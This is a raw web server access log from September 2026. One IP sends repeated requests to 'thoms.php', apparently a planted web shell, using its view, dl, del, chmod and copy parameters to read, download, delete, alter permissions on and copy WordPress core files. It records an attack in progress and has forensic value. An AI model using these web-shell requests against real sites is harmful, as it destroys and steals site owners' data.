45.135.193.11 - - [11/Sep/2026:23:17:51 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-admin-bar.php HTTP/1.1" 200 17934 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-admin-bar.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:51 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-http-encoding.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:51 -0400] "GET /thoms.php?chmod=class-wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11528 "http://163.245.207.76:443/thoms.php?chmod=class-wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:51 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php HTTP/1.1" 200 13310 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-requests-response.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:51 -0400] "GET /thoms.php?del=class-json.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59319 "http://163.245.207.76:443/thoms.php?del=class-json.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:51 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-connector-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:52 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-cookie.php HTTP/1.1" 200 14681 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-cookie.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:51 -0400] "GET /thoms.php?del=feed-rdf.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59318 "http://163.245.207.76:443/thoms.php?del=feed-rdf.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:52 -0400] "GET /thoms.php?del=template-canvas.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59330 "http://163.245.207.76:443/thoms.php?del=template-canvas.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:52 -0400] "GET /thoms.php?dl=class-wp-customize-control.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?dl=class-wp-customize-control.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:52 -0400] "GET /thoms.php?chmod=feed-rdf.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=feed-rdf.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:52 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-block-parser-frame.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:52 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=media.php HTTP/1.1" 200 83006 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:52 -0400] "GET /thoms.php?dl=class-wp-theme-json.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59339 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:52 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=post-formats.php HTTP/1.1" 200 14147 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=post-formats.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:53 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=feed-rss2-comments.php HTTP/1.1" 200 13578 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=feed-rss2-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:53 -0400] "GET /bestzyx.com.tw/wp-includes/l10n/ HTTP/1.1" 200 1306 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:52 -0400] "GET /thoms.php?dl=class-wp-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?dl=class-wp-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:53 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-key-service.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59306 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-key-service.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:53 -0400] "GET /thoms.php?del=vars.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=vars.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:53 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11849 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-comment.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:53 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-speculation-rules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:53 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-walker.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:54 -0400] "GET /thoms.php?chmod=kses.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=kses.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:53 -0400] "GET /thoms.php?dl=class-wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fwidgets&p= HTTP/1.1" 200 12285 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fwidgets&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:53 -0400] "GET /thoms.php?del=class-wp-taxonomy.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59350 "http://163.245.207.76:443/thoms.php?del=class-wp-taxonomy.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:54 -0400] "GET /thoms.php?dl=locale.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59362 "http://163.245.207.76:443/thoms.php?dl=locale.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:54 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-encoding.php HTTP/1.1" 200 14293 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-http-encoding.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:54 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:54 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-image-editor-gd.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:54 -0400] "GET /bestzyx.com.tw/wp-includes/ms-default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:54 -0400] "GET /bestzyx.com.tw/wp-includes/query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:54 -0400] "GET /bestzyx.com.tw/wp-includes/class-walker-page-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:54 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=post-thumbnail-template.php HTTP/1.1" 200 14730 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=post-thumbnail-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:54 -0400] "GET /thoms.php?chmod=class-wp-block-type.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:54 -0400] "GET /thoms.php?del=feed-rss2.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=feed-rss2.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:54 -0400] "GET /thoms.php?del=block-patterns.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=block-patterns.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcompat.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11875 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fcompat.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:55 -0400] "GET /thoms.php?del=class-wp-feed-cache.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59329 "http://163.245.207.76:443/thoms.php?del=class-wp-feed-cache.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:55 -0400] "GET /thoms.php?chmod=script-modules.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=script-modules.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:55 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-walker-nav-menu.php HTTP/1.1" 200 15096 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-walker-nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:55 -0400] "GET /thoms.php?del=fonts.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=fonts.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:55 -0400] "GET /thoms.php?del=ms-functions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=ms-functions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:55 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11881 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass.wp-dependencies.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:55 -0400] "GET /bestzyx.com.tw/wp-includes/wp-diff.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:56 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=formatting.php HTTP/1.1" 200 100306 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=formatting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:56 -0400] "GET /bestzyx.com.tw/wp-includes/class-phpmailer.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:56 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-customize-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:56 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-requests.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-requests.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:56 -0400] "GET /thoms.php?del=class-wp-list-util.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59348 "http://163.245.207.76:443/thoms.php?del=class-wp-list-util.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:56 -0400] "GET /thoms.php?del=class-wp-navigation-fallback.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=class-wp-navigation-fallback.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:56 -0400] "GET /thoms.php?dl=feed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59331 "http://163.245.207.76:443/thoms.php?dl=feed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:56 -0400] "GET /thoms.php?del=https-detection.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59327 "http://163.245.207.76:443/thoms.php?del=https-detection.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:57 -0400] "GET /bestzyx.com.tw/wp-includes/spl-autoload-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11894 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-walker-nav-menu.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:57 -0400] "GET /thoms.php?dl=speculative-loading.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59341 "http://163.245.207.76:443/thoms.php?dl=speculative-loading.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:57 -0400] "GET /thoms.php?chmod=l10n&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=l10n&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:57 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-registry.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11547 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-registry.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:57 -0400] "GET /thoms.php?del=abilities.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59326 "http://163.245.207.76:443/thoms.php?del=abilities.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:57 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-list-util.php HTTP/1.1" 200 14419 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-list-util.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:57 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffeed.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11867 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Ffeed.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:57 -0400] "GET /thoms.php?dl=default-widgets.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?dl=default-widgets.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:58 -0400] "GET /thoms.php?chmod=ms-files.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=ms-files.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:58 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fclass-wp-comment-query.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:58 -0400] "GET /bestzyx.com.tw/wp-includes/class-wp-text-diff-renderer-table.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:58 -0400] "GET /thoms.php?del=certificates&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 59328 "http://163.245.207.76:443/thoms.php?del=certificates&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php HTTP/1.1" 200 13627 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-icon-collections-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:58 -0400] "GET /thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-object-cache.php HTTP/1.1" 200 16411 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw%2Fwp-includes&view=class-wp-object-cache.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:58 -0400] "GET /thoms.php?chmod=ms-deprecated.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=ms-deprecated.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:17:58 -0400] "GET /thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fview-transitions.php&p=bestzyx.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=bestzyx.com.tw%2Fwp-includes%2Fview-transitions.php&p=bestzyx.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
